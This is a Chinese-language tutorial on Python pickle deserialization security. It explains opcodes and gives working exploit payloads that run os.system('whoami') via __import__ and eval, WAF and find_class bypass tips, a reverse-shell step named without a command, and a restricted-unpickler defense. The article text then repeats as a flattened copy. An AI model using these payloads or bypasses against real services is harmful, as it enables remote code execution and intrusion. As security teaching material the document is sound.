pickle反序列化深入python源码分析
字数 1264 2025-08-06 18:07:44

Python Pickle反序列化安全分析与利用技术

0x00 知识铺垫

Pickle模块简介

Pickle是Python中用于对象序列化和反序列化的标准模块,可以将Python对象转换为字节流(序列化),也可以从字节流重建对象(反序列化)。

序列化与反序列化基本操作

import pickle

# 序列化
data = {"key": "value"}
serialized = pickle.dumps(data)  # 将对象序列化为字节流

# 反序列化
deserialized = pickle.loads(serialized)  # 从字节流重建对象

反序列化安全问题

Pickle反序列化是不安全的操作,因为它可以执行任意Python代码。攻击者可以构造恶意的序列化数据,在反序列化时执行危险操作。

0x01 pickle反序列化过程分析

Pickle虚拟机

Pickle有自己的基于栈的虚拟机,执行特定的操作码(opcode)来完成反序列化过程。

主要操作码解析

  • c - 导入模块和类
  • ( - 压入标记到栈
  • S - 压入字符串到栈
  • t - 从栈顶构建元组
  • R - 调用可调用对象
  • p - 存储栈顶到memo
  • g - 从memo获取值到栈
  • i - 实例化对象
  • b - 构建对象

反序列化执行流程

  1. 解析操作码
  2. 根据操作码执行相应操作
  3. 维护栈和memo状态
  4. 最终构建出目标对象

0x02 利用技术

全局变量引入

通过__import__函数引入模块并执行函数:

opcode = b'''c__builtin__
__import__
(S'os'
tR(S'system'
S'whoami'
tR.'''

修改全局变量

利用globals函数修改全局变量:

opcode = b'''c__builtin__
globals
(tR(S'__builtins__'
S'evil_function'
tR.'''

函数执行

直接调用危险函数:

opcode = b'''c__builtin__
eval
(S'__import__("os").system("whoami")'
tR.'''

0x03 WAF绕过技术

绕过find_class限制

许多WAF会检查find_class方法限制可导入的模块,可以通过以下方式绕过:

  1. 使用builtins模块间接调用
  2. 利用已导入模块的子模块
  3. 通过getattr动态获取属性

绕过域名空间限制

  1. 使用_作为模块名分隔符代替点
  2. 利用字符串拼接构造模块名
  3. 通过__import__fromlist参数

0x04 自动化编写pickle opcode

pker工具使用

pker是一个自动化生成pickle opcode的工具,可以简化利用过程。

全局变量覆盖示例

var1 = GLOBAL('__builtin__', 'eval')
var1('__import__("os").system("whoami")')

函数执行示例

var1 = GLOBAL('os', 'system')
var1('whoami')

实例化对象

inst = INST('os', 'system', 'whoami')

手动辅助技巧

  1. 使用pickletools分析opcode
  2. 手动调整memo存储位置
  3. 优化opcode顺序减少检测

0x05 防御措施

安全建议

  1. 避免反序列化不可信数据
  2. 使用json等安全替代方案
  3. 实现严格的find_class限制

安全配置示例

import pickle

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        # 只允许安全的模块和类
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError(f"global '{module}.{name}' is forbidden")

def safe_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

0x06 实战案例

漏洞发现

  1. 寻找接受pickle数据的接口
  2. 测试基本反序列化payload
  3. 逐步绕过防御措施

利用链构造

  1. 分析目标环境可用模块
  2. 寻找可用的危险函数
  3. 构造最小化opcode

回显与交互

  1. 通过subprocess获取输出
  2. 建立反向shell
  3. 文件读写操作

总结

Pickle反序列化是一个强大的功能,但也带来了严重的安全风险。理解其内部机制对于安全开发和漏洞挖掘都至关重要。开发者应当避免直接反序列化不可信数据,安全研究人员则需要深入理解opcode执行原理和各种绕过技术。

通过本文介绍的技术,读者可以全面了解pickle反序列化的安全问题和利用方法,但请注意这些技术仅应用于合法授权的安全测试和研究。

Python Pickle反序列化安全分析与利用技术 0x00 知识铺垫 Pickle模块简介 Pickle是Python中用于对象序列化和反序列化的标准模块,可以将Python对象转换为字节流(序列化),也可以从字节流重建对象(反序列化)。 序列化与反序列化基本操作 反序列化安全问题 Pickle反序列化是不安全的操作,因为它可以执行任意Python代码。攻击者可以构造恶意的序列化数据,在反序列化时执行危险操作。 0x01 pickle反序列化过程分析 Pickle虚拟机 Pickle有自己的基于栈的虚拟机,执行特定的操作码(opcode)来完成反序列化过程。 主要操作码解析 c - 导入模块和类 ( - 压入标记到栈 S - 压入字符串到栈 t - 从栈顶构建元组 R - 调用可调用对象 p - 存储栈顶到memo g - 从memo获取值到栈 i - 实例化对象 b - 构建对象 反序列化执行流程 解析操作码 根据操作码执行相应操作 维护栈和memo状态 最终构建出目标对象 0x02 利用技术 全局变量引入 通过 __import__ 函数引入模块并执行函数: 修改全局变量 利用 globals 函数修改全局变量: 函数执行 直接调用危险函数: 0x03 WAF绕过技术 绕过find_ class限制 许多WAF会检查 find_class 方法限制可导入的模块,可以通过以下方式绕过: 使用 builtins 模块间接调用 利用已导入模块的子模块 通过 getattr 动态获取属性 绕过域名空间限制 使用 _ 作为模块名分隔符代替点 利用字符串拼接构造模块名 通过 __import__ 的 fromlist 参数 0x04 自动化编写pickle opcode pker工具使用 pker是一个自动化生成pickle opcode的工具,可以简化利用过程。 全局变量覆盖示例 函数执行示例 实例化对象 手动辅助技巧 使用 pickletools 分析opcode 手动调整memo存储位置 优化opcode顺序减少检测 0x05 防御措施 安全建议 避免反序列化不可信数据 使用 json 等安全替代方案 实现严格的 find_class 限制 安全配置示例 0x06 实战案例 漏洞发现 寻找接受pickle数据的接口 测试基本反序列化payload 逐步绕过防御措施 利用链构造 分析目标环境可用模块 寻找可用的危险函数 构造最小化opcode 回显与交互 通过subprocess获取输出 建立反向shell 文件读写操作 总结 Pickle反序列化是一个强大的功能,但也带来了严重的安全风险。理解其内部机制对于安全开发和漏洞挖掘都至关重要。开发者应当避免直接反序列化不可信数据,安全研究人员则需要深入理解opcode执行原理和各种绕过技术。 通过本文介绍的技术,读者可以全面了解pickle反序列化的安全问题和利用方法,但请注意这些技术仅应用于合法授权的安全测试和研究。